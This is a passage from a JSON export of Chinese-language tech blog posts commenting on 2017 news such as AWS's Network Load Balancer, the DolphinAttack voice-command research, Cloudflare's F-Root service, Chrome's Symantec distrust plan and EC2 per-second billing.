    "body": "從一開始推出的 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> (Elastic Load Balancer)，到 ALB (Application)，現在則推出了 NLB (Network)：「<a href=\"https://aws.amazon.com/blogs/aws/new-network-load-balancer-effortless-scaling-to-millions-of-requests-per-second/\">New Network Load Balancer – Effortless Scaling to Millions of Requests per Second</a>」。\r\n\r\n有這些特性：\r\n\r\n<ol>\r\n\t<li>Static IP Addresses</li>\r\n\t<li>Zonality</li>\r\n\t<li>Source Address Preservation</li>\r\n\t<li>Long-running Connections</li>\r\n\t<li>Failover</li>\r\n</ol>\r\n\r\n雖然不能確定 <a href=\"https://aws.amazon.com/\">AWS</a> 用的技術是什麼，但這裡面有好幾個很明顯就是 DSR (Direct Server Return) 架構的特性 (包括了限制與優點)。\r\n\r\n另外也因為不用處理 L7 的內容，效能比起 ELB/ALB 好很多，夠大的用量下，價錢也低不少。對於不少非 HTTP/HTTPS 的應用應該很好用，就算是 HTTP/HTTPS，單純一點的應用應該也不錯...",
    "title": "AWS 推出新的 Load Balancer：NLB (Network Load Balancer)"
  },
  {
    "id": "7544",
    "body": "在「<a href=\"https://brew.sh/analytics/install-on-request/\">Homebrew Analytics Install On Request Events — Homebrew</a>」這邊，<a href=\"https://brew.sh/\">Homebrew</a> 利用了傳回來的資訊算出 2016/07/14 到 2017/07/14 的安裝套件次數，列出前一千名。(我是把他關掉，因為隱私問題不想要傳出去... 參考「<a href=\"https://blog.gslin.org/archives/2016/04/26/6530/homebrew-%E6%9C%83%E5%B0%87%E5%AE%89%E8%A3%9D%E8%B3%87%E8%A8%8A%E9%80%81%E5%88%B0-google-analytics-%E4%B8%8A/\">Homebrew 會將安裝資訊送到 Google Analytics 上</a>」這篇。)\r\n\r\n比較有趣的是第一名的 node 超級多，比第二名加第三名的 git + wget 還多...\r\n\r\n拿來翻一翻還 ok，順便看一下大家用什麼...",
    "title": "Homebrew 蒐集到的安裝資訊"
  },
  {
    "id": "7545",
    "body": "在「<a href=\"https://www.nngroup.com/articles/flat-ui-less-attention-cause-uncertainty/\">Flat UI Elements Attract Less Attention and Cause Uncertainty</a>」這邊透過追蹤眼球的技術，發表了研究結果：\r\n\r\n<blockquote>Summary: Flat interfaces often use weak signifiers. In an eyetracking experiment comparing different kinds of clickability clues, UIs with weak signifiers required more user effort than strong ones.</blockquote>\r\n\r\n其中最明顯的一個例子就是大家被訓練「有底線的文字應該可以按」，這也是最能馬上被想到的問題... 不過這算是 Flat UI 的問題嗎？\r\n\r\n<blockquote>The popularity of flat design in digital interfaces has coincided with a scarcity of signifiers. Many modern UIs have ripped out the perceptible cues that users rely on to understand what is clickable.</blockquote>",
    "title": "Flat UI 反而造成使用者困擾"
  },
  {
    "id": "7546",
    "body": "也是篇研究，講各種職業的離婚率：「<a href=\"https://flowingdata.com/2017/07/25/divorce-and-occupation\">Divorce and Occupation</a>」，副標題「Some jobs tend towards higher divorce rates. Some towards lower.」。拿的是 2015 美國的資料分析出來的：\r\n\r\n<blockquote>Using data from the 2015 American Community Survey, for each occupation, I calculated the percentage of people who divorced out of those who married at least once.</blockquote>\r\n\r\n依照離婚率，由高往低排：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dmlWMf7.webp\" /><img src=\"https://i.gslin.com/imgur/dmlWMf7.jpg\" alt=\"\" /></picture>\r\n\r\n如果是把中位薪拿出來，把邊界的幾個標出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sN16R6b.webp\" /><img src=\"https://i.gslin.com/imgur/sN16R6b.jpg\" alt=\"\" /></picture>\r\n\r\n原網頁的資料是互動式的形式，游標移上去可以看到每個點是什麼...",
    "title": "各種職業與離婚率"
  },
  {
    "id": "7547",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 可以收 query log 了，會丟到 <a href=\"https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html\">CloudWatch Logs</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/amazon-route-53-announces-support-for-dns-query-logging/\">Amazon Route 53 Announces Support For DNS Query Logging</a>」。\r\n\r\n<blockquote>If you are using Amazon Route 53 as your public, authoritative DNS, you will now have the capability to easily log DNS queries received by Amazon Route 53 through integration with CloudWatch Logs.</blockquote>\r\n\r\n這樣可以拿來分析了...",
    "title": "Route 53 的 Query 記錄"
  },
  {
    "id": "7548",
    "body": "雖然相關的理論很早就有了，但上個禮拜放出來的論文完整實做出來，叫做 DolphinAttack，取自於海豚可以聽見人類所聽不到的聲音：「<a href=\"https://arxiv.org/abs/1708.09537\">DolphinAtack: Inaudible Voice Commands</a>」(這邊的錯字是作者造成的，submit 到 <a href=\"https://arxiv.org/\">arXiv</a> 的標題有錯，但論文內描述則是對的)。\r\n\r\n無論是 <a href=\"https://www.apple.com/ios/siri/\">Siri</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Google_Now\">Google Now</a>，或是其他的控制軟體，都設計成能接受多種不同語調的人，而這個部份目前放的都太寬，造成人類聽不到的區段也可以下令：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WU7dGFn.webp\" /><img src=\"https://i.gslin.com/imgur/WU7dGFn.jpg\" alt=\"\" /></picture>\r\n\r\n也可以看到成功機率很高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zDPwZXX.webp\" /><img src=\"https://i.gslin.com/imgur/zDPwZXX.jpg\" alt=\"\" /></picture>\r\n\r\n應該會有些調整...",
    "title": "現有語音控制的安全性問題：使用聽不見的高頻下令"
  },
  {
    "id": "7549",
    "body": "在「<a href=\"https://medium.com/@jolson88/its-time-for-makefiles-to-make-a-comeback-36cbc358bb0a\">Time for Makefiles to Make a Comeback</a>」這篇裡面作者努力介紹 Makefile 這個工具...\r\n\r\n<strong>Update</strong>：<a href=\"https://medium.com/@CQD\">CQD</a> 把全文翻譯出來了：「<a href=\"https://medium.com/@CQD/%E8%A9%B2%E6%8A%8A-makefile-%E8%AB%8B%E5%9B%9E%E4%BE%86%E4%BA%86-a092f9d2a36f\">該把 makefile 請回來了</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/quVqYmO.webp\" /><img src=\"https://i.gslin.com/imgur/quVqYmO.jpg\" alt=\"\" /></picture>\r\n\r\n看得出來作者對於 <a href=\"https://nodejs.org/\">Node.js</a> 體系一直在發明這樣的工具有種厭煩感... 從 <a href=\"https://gruntjs.com/\">Grunt</a>、<a href=\"https://gulpjs.com/\">Gulp</a>、<a href=\"https://webpack.github.io/\">Webpack</a>、...\r\n\r\n我自己也還是覺得 Makefile 很好用... (當然也或多或少跟 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 的 <a href=\"https://www.freebsd.org/ports/\">Ports</a> 使用 Makefile 當作底層有關)\r\n\r\nMakefile 的想法就是解決相依性的問題：當這個檔案更新了，那麼有哪些檔案需要更新。而這其實跟目前很多工具想做的事情一樣...\r\n\r\n另外 Makefile 是 Tuning-complete，如硬要放複雜的邏輯也沒問題，不過大家一般還是習慣拿許多 Unix command 協助，不需要什麼都自己來 (類似於 <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy</a>)。",
    "title": "推廣使用 Makefile..."
  },
  {
    "id": "7551",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 從三月底開始跟 <a href=\"https://www.isc.org/\">ISC</a> 簽約合作，服務 F-Root 這個 DNS Service (<code>f.root-servers.net</code>)：「<a href=\"https://blog.cloudflare.com/f-root/\">Delivering Dot</a>」。\r\n\r\n<blockquote>Since March 30, 2017, Cloudflare has been providing DNS Anycast service as additional F-Root instances under contract with ISC (the F-Root operator).</blockquote>\r\n\r\n在 <a href=\"https://www.linode.com/\">Linode</a> 東京的機器上面可以看出來 <code>www.cloudflare.com</code> 走的路徑跟 <code>f.root-server.net</code> 相同：\r\n\r\n<small><small><pre>gslin@one [~] [22:49] mtr -4 --report www.cloudflare.com\r\nStart: Tue Sep 12 22:49:29 2017\r\nHOST: one.abpe.org                Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- 139.162.65.2               0.0%    10    0.6   0.6   0.5   0.6   0.0\r\n  2.|-- 139.162.64.5               0.0%    10    2.0   1.1   0.6   2.5   0.5\r\n  3.|-- 139.162.64.8               0.0%    10    0.7   1.0   0.7   2.1   0.3\r\n  4.|-- 218.100.6.62               0.0%    10    0.8   0.8   0.8   1.0   0.0\r\n  5.|-- 198.41.215.162             0.0%    10    0.7   0.7   0.7   0.8   0.0\r\ngslin@one [~] [22:49] mtr -4 --report f.root-servers.net\r\nStart: Tue Sep 12 22:49:46 2017\r\nHOST: one.abpe.org                Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- 139.162.65.3               0.0%    10    0.5   0.6   0.5   0.6   0.0\r\n  2.|-- 139.162.64.7               0.0%    10    0.7   0.7   0.6   0.8   0.0\r\n  3.|-- 139.162.64.8               0.0%    10    0.7   0.7   0.6   0.8   0.0\r\n  4.|-- 218.100.6.62               0.0%    10    0.8   0.8   0.8   0.8   0.0\r\n  5.|-- f.root-servers.net         0.0%    10    0.8   0.8   0.7   0.8   0.0</pre></small></small>\r\n\r\n而且也可以從監控發現，<code>f.root-servers.net</code> 的效能變好：\r\n\r\n<blockquote>Using RIPE atlas probe measurements, we can see an immediate performance benefit to the F-Root server, from 8.24 median RTT to 4.24 median RTT.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QIniL9L.webp\" /><img src=\"https://i.gslin.com/imgur/QIniL9L.jpg\" alt=\"\" /></picture>\r\n\r\nDNS query 的量也大幅增加：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/STVCYh4.webp\" /><img src=\"https://i.gslin.com/imgur/STVCYh4.jpg\" alt=\"\" /></picture>\r\n\r\n而且之後也會隨著 Cloudflare 的 PoP 增加而愈來愈快... 在原文的 comment 也提到了 Cloudflare 也有打算跟其他的 Root Server 合作，所以看起來會讓整個 infrastructure 愈來愈快而且穩定。\r\n\r\n另外這也代表台灣在本島也會直接連到 F-Root 了，不過 <a href=\"http://www.hinet.net/\">HiNet</a> 自己也有 F-Root，所以 HiNet 的部份就沒什麼差...",
    "title": "Cloudflare 的 F-Root"
  },
  {
    "id": "7553",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 前陣子整理了一份對 <a href=\"https://www.symantec.com/\">Symantec</a> 憑證的不信任計畫：「<a href=\"https://security.googleblog.com/2017/09/chromes-plan-to-distrust-symantec.html\">Chrome’s Plan to Distrust Symantec Certificates</a>」。\r\n\r\n這包括了一卡車的品牌，像是 <a href=\"https://www.thawte.com/\">Thawte</a>、<a href=\"https://www.verisign.com/\">VeriSign</a>、<a href=\"https://www.geotrust.com/\">GeoTrust</a>、<a href=\"https://www.rapidssl.com/\">RapidSSL</a>，不過 <a href=\"http://www.equifax.com/\">Equifax</a> 跟 Symantec 的關係我沒查到...：\r\n\r\n<blockquote>Symantec’s PKI business, which operates a series of Certificate Authorities under various brand names, including Thawte, VeriSign, Equifax, GeoTrust, and RapidSSL, had issued numerous certificates that did not comply with the industry-developed CA/Browser Forum Baseline Requirements.</blockquote>\r\n\r\n反正整個計畫會在 Google Chrome 70 推出時告一段落 (變成完全不信任)，會是 2018/09/13 (預定時間) 與 2018/10/23 (預定時間) 在 beta channel 與 stable channel 上推出。\r\n\r\n中間比較重要的時間點是 2018/03/15 (預定時間) 與 2018/04/17 (預定時間)，Google Chrome 66 在 beta channel 與 stable channel 上推出，這個版本不會信任 2016/06/01 前發出的憑證：\r\n\r\n<blockquote>Chrome 66 released to beta, which will remove trust in Symantec-issued certificates with a not-before date prior to June 1, 2016. As of this date Site Operators must be using either a Symantec-issued TLS server certificate issued on or after June 1, 2016 or a currently valid certificate issued from any other trusted CA as of Chrome 66.\r\nSite Operators that obtained a certificate from Symantec’s old infrastructure after June 1, 2016 are unaffected by Chrome 66 but will need to obtain a new certificate by the Chrome 70 dates described below.</blockquote>\r\n\r\n整個計畫的時間軸清楚多了...",
    "title": "Google Chrome 對 Symantec 全系列憑證的不信任計畫"
  },
  {
    "id": "7554",
    "body": "<a href=\"https://stackoverflow.com/\">Stack Overflow</a> 的內文其實有點奇怪的誤導... 主要是分析在 Stack Overflow 上 <a href=\"https://www.python.org/\">Python</a> 成長的趨勢：「<a href=\"https://stackoverflow.blog/2017/09/06/incredible-growth-python/\">The Incredible Growth of Python</a>」。\r\n\r\n但一開始的分析是做高收入國家的部份：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wQQ50ai.webp\" /><img src=\"https://i.gslin.com/imgur/wQQ50ai.jpg\" alt=\"\" /></picture>\r\n\r\n但如果你捲到最下面，即使是非高收入的國家也是一樣急遽成長，只是沒那麼明顯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MOa1pnq.webp\" /><img src=\"https://i.gslin.com/imgur/MOa1pnq.jpg\" alt=\"\" /></picture>\r\n\r\nAnyway，回到高收入國家的部份，如果用模型預測的話：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UuHI405.webp\" /><img src=\"https://i.gslin.com/imgur/UuHI405.jpg\" alt=\"\" /></picture>\r\n\r\n另外列出 YoY 成長：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2Cjs6n9.webp\" /><img src=\"https://i.gslin.com/imgur/2Cjs6n9.jpg\" alt=\"\" /></picture>\r\n\r\n這篇用高收入這個分法有種在炒話題的感覺...",
    "title": "Python 在高收入國家的成長"
  },
  {
    "id": "7556",
    "body": "<a href=\"https://slack.com/\">Slack</a> 推出的新功能 Shared Channels：「<a href=\"https://slackhq.com/introducing-shared-channels-where-you-can-work-with-anyone-in-slack-8c5d2a943f57\">Introducing Shared Channels: Where you can work with anyone in Slack</a>」。\r\n\r\n<blockquote>Shared Channels are a new kind of channel that connects two separate organizations, creating a common space for both sides to make use of Slack’s communication features and platform integrations when working together.</blockquote>\r\n\r\n在截圖可以看到界面上，左半部會以 Shared Channels 顯示：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DOmlpuO.webp\" /><img src=\"https://i.gslin.com/imgur/DOmlpuO.jpg\" alt=\"\" /></picture>\r\n\r\n這邊也有提到 Shared Channels 需要透過管理員核准：\r\n\r\n<blockquote>Accept the request: The other organization’s admin will receive a direct message from Slackbot, from which they can accept your request and add the channel to their workspace.</blockquote>\r\n\r\n這樣就不用另外再開 guest 了...",
    "title": "兩個都用 Slack 的公司可以直接在 Slack 上合作了"
  },
  {
    "id": "7557",
    "body": "忘記是哪邊看到的，看到這個版本：「<a href=\"http://lite.cnn.io/\">lite.cnn.com</a>」，整個頁面超級精簡，內文也都不含圖片，看原始 html 也可以看出來整個頁面超簡單...",
    "title": "CNN 的 Lite 版本"
  },
  {
    "id": "7558",
    "body": "在 <a href=\"https://zh.wikipedia.org/wiki/%E9%BB%83%E5%A3%AB%E5%82%91\">Aja Huang</a> (黃士傑) 的 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到 <a href=\"https://zh.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 與柯潔在烏鎮下的三盤棋的講解，這次的講解除了找柯潔與樊麾以外，更重要的是直接拿了與當時相同配備的 AlphaGo 出來使用 (只要柯潔想要看某些變化 AlphaGo 會怎麼應對，樊麾都會輸入進去跑模擬)：\r\n\r\n<blockquote>需要說明的是，視頻中參與覆盤的AlphaGo與烏鎮峰會比賽的版本和硬體配置(搭配4個TPU的單機版)完全一樣。希望大家享受這三盤精彩的對局，也能從這三個視頻的覆盤研究中有所收穫。祝大家觀影愉快。</blockquote>\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Faja.huang%2Fposts%2F1673158082718756&width=500\" width=\"500\" height=\"521\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\"></iframe>",
    "title": "AlphaGo 與柯潔下的三盤棋，包括了雙方的講解"
  },
  {
    "id": "7559",
    "body": "<a href=\"https://facebook.github.io/react/\">React</a> 的專利問題繼續燒... (可以參考「<a href=\"https://blog.gslin.org/archives/2017/08/27/7525/react-%E7%9A%84%E5%B0%88%E5%88%A9%E6%8E%88%E6%AC%8A%E8%AD%B0%E9%A1%8C/\">React 的專利授權議題</a>」，不過陸陸續續還有發生一些事情沒寫...)\r\n\r\n在 <a href=\"https://www.facebook.com/\">Facebook</a> 表態他們不會修改 React 的條款後，<a href=\"https://en.wikipedia.org/wiki/Matt_Mullenweg\">Matt Mullenweg</a> (<a href=\"https://wordpress.org/\">WordPress</a> 的共同創造人，以及 <a href=\"https://wordpress.com/\">WordPress.com</a> 現在的老大) 直接宣佈了 Gutenberg (WordPress 新的 editor) 將全面停用 React 改用新的 library 開發：\r\n\r\n<blockquote>[...] I'm here to say that the Gutenberg team is going to take a step back and rewrite Gutenberg using a different library. It will likely delay Gutenberg at least a few weeks, and may push the release into next year.</blockquote>\r\n\r\n算是相當大的一個決策改變...\r\n\r\n這件事情剛好讓人想到當年 <a href=\"https://www.movabletype.org/\">MovableType</a> 因為 license 問題而失勢 (而讓 WordPress 長起來)，究竟 React 會不會逐漸被取代呢...",
    "title": "Matt Mullenweg 決定對 React 的專利議題投下反對票"
  },
  {
    "id": "7560",
    "body": "先前美國政府透過搜索票，要求各雲端廠商提供海外伺服器的資料而引起話題 (像是先前 <a href=\"https://www.microsoft.com/\">Microsoft</a> 往上打官司抵抗：「<a href=\"https://arstechnica.com/tech-policy/2017/06/supreme-court-asked-to-decide-if-us-has-right-to-data-on-foreign-servers/\">Does US have right to data on overseas servers? We’re about to find out</a>」)，而現在看起來 <a href=\"https://www.google.com/\">Google</a> 打算放棄掙扎了：「<a href=\"https://arstechnica.com/tech-policy/2017/09/feds-google-stops-challenging-most-us-warrants-for-data-on-overseas-servers/\">Google stops challenging most US warrants for data on overseas servers</a>」。\r\n\r\n<blockquote>Google has quietly stopped challenging most search warrants from US judges in which the data requested is stored on overseas servers, according to the Justice Department.</blockquote>\r\n\r\nMicrosoft 這邊有些不錯的進展，成功在巡迴庭擋下：\r\n\r\n<blockquote>Microsoft convinced the New York-based 2nd US Circuit Court of Appeals—which has jurisdiction over Connecticut, New York, and Vermont—that US search-and-seizure law does not require compliance with a warrant to turn over e-mail stored on its servers in Ireland.</blockquote>\r\n\r\n不過沒看到 <a href=\"https://aws.amazon.com/\">AWS</a> 相關的消息，感覺不妙...",
    "title": "Google 放棄對海外伺服器搜索票的抵抗了..."
  },
  {
    "id": "7561",
    "body": "<a href=\"https://imgur.com/\">Imgur</a> 宣佈 HTTPS 化：「<a href=\"https://blog.imgur.com/2017/09/13/https-on-imgur/\">HTTPS on Imgur</a>」。\r\n\r\n<blockquote>Today, we deployed HTTPS by default on Imgur. All traffic is now redirected to https:// and, as of now, HTTPS is the default on all Imgur URLs.</blockquote>\r\n\r\n總算是上線了... 先前是靠 <a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a> 做。",
    "title": "Imgur 上 HTTPS"
  },
  {
    "id": "7562",
    "body": "<a href=\"https://www.ibm.com/\">IBM</a> 把自家的 JVM 貢獻出來，與 <a href=\"https://www.eclipse.org/\">Eclipse</a> 合作，一起推出了 <a href=\"https://www.eclipse.org/openj9/\">OpenJ9</a> (原名 IBM J9)。程式碼可以在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/eclipse/openj9\">eclipse/openj9</a> 取得。\r\n\r\n在官網上有提到與官方版本不同的特性：\r\n\r\n<blockquote>Low memory footprint. Fast start-up time. High application throughput. Optimized to run Java applications cost-effectively in the cloud.</blockquote>\r\n\r\n應該會有人包 PPA 吧，之後跑 <a href=\"https://www.java.com/\">Java</a> 程式可以拿來用看看...",
    "title": "IBM 把自家的 JVM 貢獻出來：Eclipse OpenJ9"
  },
  {
    "id": "7563",
    "body": "其實是兩件事情... 第一件是 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 把 <code>.dev</code> 結尾的網域設為 <a href=\"https://hstspreload.org/\">HSTS Preload</a> 名單：「<a href=\"https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/\">Chrome to force .dev domains to HTTPS via preloaded HSTS</a>」。\r\n\r\n第二件事情是隨著第一件來的，HSTS Preload 必須由 domain 擁有人提出啊... 所以 <code>.dev</code> 是合法的 TLD (gTLD)？\r\n\r\n文章作者給了答案，是的，而且就是 <a href=\"https://www.google.com/\">Google</a> 擁有的：\r\n\r\n<blockquote>Wait, there's a legit .dev gTLD?\r\nYes, <a href=\"https://icannwiki.org/.dev\">unfortunately</a>.</blockquote>\r\n\r\n(翻白眼)\r\n\r\n這對開發者來說有種無奈感...\r\n\r\n不過你可以用這招避開：「<a href=\"https://blog.gslin.org/archives/2016/09/14/6841/%E5%9C%A8-google-chrome-%E9%80%A3%E4%B8%8A%E5%9B%A0-hsts-%E8%80%8C%E7%84%A1%E6%B3%95%E9%80%A3%E7%B7%9A%E7%9A%84%E7%B6%B2%E7%AB%99/\">在 Google Chrome 連上因 HSTS 而無法連線的網站</a>」，也就是輸入 <code>badidea</code>。\r\n\r\n另外測試了一下，應該是所有的 A record 都會指到 <code>127.0.53.53</code>，如果有人懶得設定的話也可以用這個位置啦...",
    "title": "Google Chrome 將 .dev 設為 HSTS Preload 名單"
  },
  {
    "id": "7564",
    "body": "雖然只是 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 與 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 計價模式的改變，但這次 <a href=\"https://aws.amazon.com/\">AWS</a> 的改變對於許多開發流程有很大的影響 (重點在 EC2 的部份)：「<a href=\"https://aws.amazon.com/blogs/aws/new-per-second-billing-for-ec2-instances-and-ebs-volumes/\">New – Per-Second Billing for EC2 Instances and EBS Volumes</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N1u6fUS.webp\" /><img src=\"https://i.gslin.com/imgur/N1u6fUS.jpg\" alt=\"\" /></picture>\r\n\r\n10/2 開始改變 (而不是 10/1)，低消一分鐘，Windows 機種以及需要額外收費的 Linux 機種不在範圍內：\r\n\r\n<blockquote>This change is effective in all AWS Regions and will be effective October 2, for all Linux instances that are newly launched or already running. Per-second billing is not currently applicable to instances running Microsoft Windows or Linux distributions that have a separate hourly charge. There is a 1 minute minimum charge per-instance.</blockquote>\r\n\r\n然後 Spot 與買 RI 後也是一樣以秒計價：\r\n\r\n<blockquote>List prices and Spot Market prices are still listed on a per-hour basis, but bills are calculated down to the second, as is Reserved Instance usage (you can launch, use, and terminate multiple instances within an hour and get the Reserved Instance Benefit for all of the instances).</blockquote>\r\n\r\n這次改變的影響很巨大。馬上可以想到幾個情境...\r\n\r\n第一個是對於實踐 <a href=\"https://en.wikipedia.org/wiki/Release_early,_release_often\">Release early, release often</a> 的團隊來說，如果設計成每 deploy 一次就建一個新的 AMI (最乾淨的作法)，再開新機器換掉的話，成本就會增加不少。所以對於這樣的團隊，就會偏好朝著替換現有目錄內的東西後重啟...\r\n\r\n現在改成以秒計費後，直接透過 <a href=\"https://martinfowler.com/bliki/BlueGreenDeployment.html\">Blue-Green Deployment</a> 就可以了 (<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 年初也支援了：「<a href=\"https://blog.gslin.org/archives/2017/01/27/7094/aws-codedeploy-%E6%94%AF%E6%8F%B4-bluegreendeployment/\">AWS CodeDeploy 支援 BlueGreenDeployment</a>」)：(如果不熟悉 Blue-Green Deployment 的話，更白話的說法就是「先建後拆」...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VI0bnRc.webp\" /><img src=\"https://i.gslin.com/imgur/VI0bnRc.jpg\" alt=\"\" /></picture>\r\n\r\n同樣的理由，對於 <a href=\"https://aws.amazon.com/autoscaling/\">Auto Scaling</a> 的 policy 也有些改變。之前機器開起來都會想讓他跑一個小時，所以 scale down 的部份都會寫的比較鬆一點。現在就可以重新規劃了...\r\n\r\n另外一個影響是對使用 container 的誘因少了不少。很多人用 container 的用法是開大台機器再裡面拆給不同服務用，讓資源利用率變高，現在變成用多少算多少後就不太需要這樣了...\r\n\r\n當然也還是有缺點。以前 Spot Instance 如果被 AWS 收回時，最後的那個小時是不計費的。現在因為以秒計費，變成要收費了...\r\n\r\n最後是 10/2 生效這件事情頗怪，該不會是財務部門不願意配合 10/1 星期天加班生效，所以只好變成 10/2 生效這種理由吧... XDDD",
    "title": "EC2 與 EBS 十月開始以秒計費"
  },
  {
    "id": "7565",
    "body": "<a href=\"https://github.com/\">GitHub</a> 定下落日條款了：「<a href=\"https://githubengineering.com/crypto-deprecation-notice-update-1/\">Weak cryptographic standards deprecation update</a>」。\r\n\r\n這次目標是 <code>diffie-hellman-group1-sha1</code> 與 <code>diffie-hellman-group14-sha1</code>，同時啟用了 <code>diffie-hellman-group-exchange-sha256</code>：\r\n\r\n<blockquote>Since the announcement, we have been focusing on the impact of disabling the diffie-hellman-group1-sha1 and diffie-hellman-group14-sha1 key exchanges for SSH. As of last week, we have enabled diffie-hellman-group-exchange-sha256. This key exchange method is widely supported and will allow most legacy clients to seamlessly transition away from diffie-hellman-group1-sha1 and diffie-hellman-group14-sha1.</blockquote>\r\n\r\n明年二月拔掉 <code>diffie-hellman-group1-sha1</code> 與 <code>diffie-hellman-group14-sha1</code>：\r\n\r\n<blockquote>This is a very small percentage of traffic, but we would like to see if we can reduce the incompatible traffic percentage even further before disabling support for the older key exchange algorithms on February 1, 2018.</blockquote>",
    "title": "GitHub 明年關閉 SSH 上 SHA1 相關的 Kx (Key Exchange) 演算法"
  },
  {
    "id": "7566",
    "body": "官方對於 <a href=\"http://hhvm.com/\">HHVM</a> 的未來提出了說明：「<a href=\"http://hhvm.com/blog/2017/09/18/the-future-of-hhvm.html\">The Future of HHVM</a>」。重點就是他們不打算以 PHP7 為目標，打算關起來自己玩...：\r\n\r\n<blockquote>Consequently, HHVM will not aim to target PHP7. The HHVM team believes that we have a clear path toward making Hack a fantastic language for web development, untethered from its PHP origins.</blockquote>\r\n\r\n如果以 <a href=\"https://packagist.org/\">Packagist</a> 上的資料來看 (<a href=\"https://seld.be/notes/php-versions-stats-2017-1-edition\">PHP Versions Stats - 2017.1 Edition</a>)，HHVM 的數量應該是沒人了：\r\n\r\n<blockquote>And because a few people have asked me this recently, while HHVM usage is not included above in the graph it is at 0.36% which is a third of PHP 5.3 usage and really hardly significant. I personally think it's fine to support it still in libraries if it just works, or if the fixes involved are minor. If not then it's probably not worth the time investment.</blockquote>\r\n\r\nComment 的地方有註明這是扣掉 CI 的量：\r\n\r\n<blockquote>@ocramius: These numbers ignore Travis CI and other CI systems that set the \"CI\" env var in their workers. Without excluding those HHVM is around 0.95% so it's still low but those .36% is probably actual usage.</blockquote>\r\n\r\n這樣就放心可以完全不用管 HHVM 了 XDDD",
    "title": "HHVM 的後續"
  },
  {
    "id": "7567",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/spot/\">Spot Instance</a> 可以「接關」了：「<a href=\"https://aws.amazon.com/blogs/aws/new-stop-resume-workloads-on-ec2-spot-instances/\">New – Stop &amp; Resume Workloads on EC2 Spot Instances</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xHm9Mzn.webp\" /><img src=\"https://i.gslin.com/imgur/xHm9Mzn.jpg\" alt=\"\" /></picture>\r\n\r\n當 Spot Instance 的競價不足以標到機器時，他會先關起來 (Stop)，等到價錢低於競價後就會再打開機器，這時候的狀態就會恢復。另外也提到了必須是使用 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的機器才支援：\r\n\r\n<blockquote>Amazon EC2 Spot now allows Amazon EBS-backed instances to be stopped in the event of interruption, instead of being terminated when capacity is no longer available at your preferred price. Spot can then fulfill your request by restarting instances from a stopped state when capacity is available within your price and time requirements.</blockquote>\r\n\r\n用法是把 Spot Instance 的關機設定設為 Stop：\r\n\r\n<blockquote>To use this new feature, choose “stop” instead of “terminate” as the interruption behavior when submitting a persistent Spot request. When you choose “stop”, Spot will shut down your instance upon interruption.</blockquote>\r\n\r\n恢復的時候就會儘量保持一樣地開回來 (連 instance id 都相同)：\r\n\r\n<blockquote>When capacity is available again within your price and time requirements, Spot will restart your instance. Upon restart, the EBS root device is restored from its prior state, previously attached data volumes are reattached, and the instance retains its instance ID.</blockquote>\r\n\r\n是個接關的感覺 XD",
    "title": "EC2 的 Spot Instance 可以「接關」"
  },
  {
    "id": "7568",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出工具讓使用者可以方便回報狀態：「<a href=\"https://githubengineering.com/github-debug/\">GitHub Debug</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/psfRENF.webp\" /><img src=\"https://i.gslin.com/imgur/psfRENF.jpg\" alt=\"\" /></picture>\r\n\r\n做起來不困難，但等於是讓使用者操作 SOP 先提供一些基本的資訊，讓 GitHub 內部的人在處理時會比較輕鬆。",
    "title": "GitHub Debug"
  },
  {
    "id": "7569",
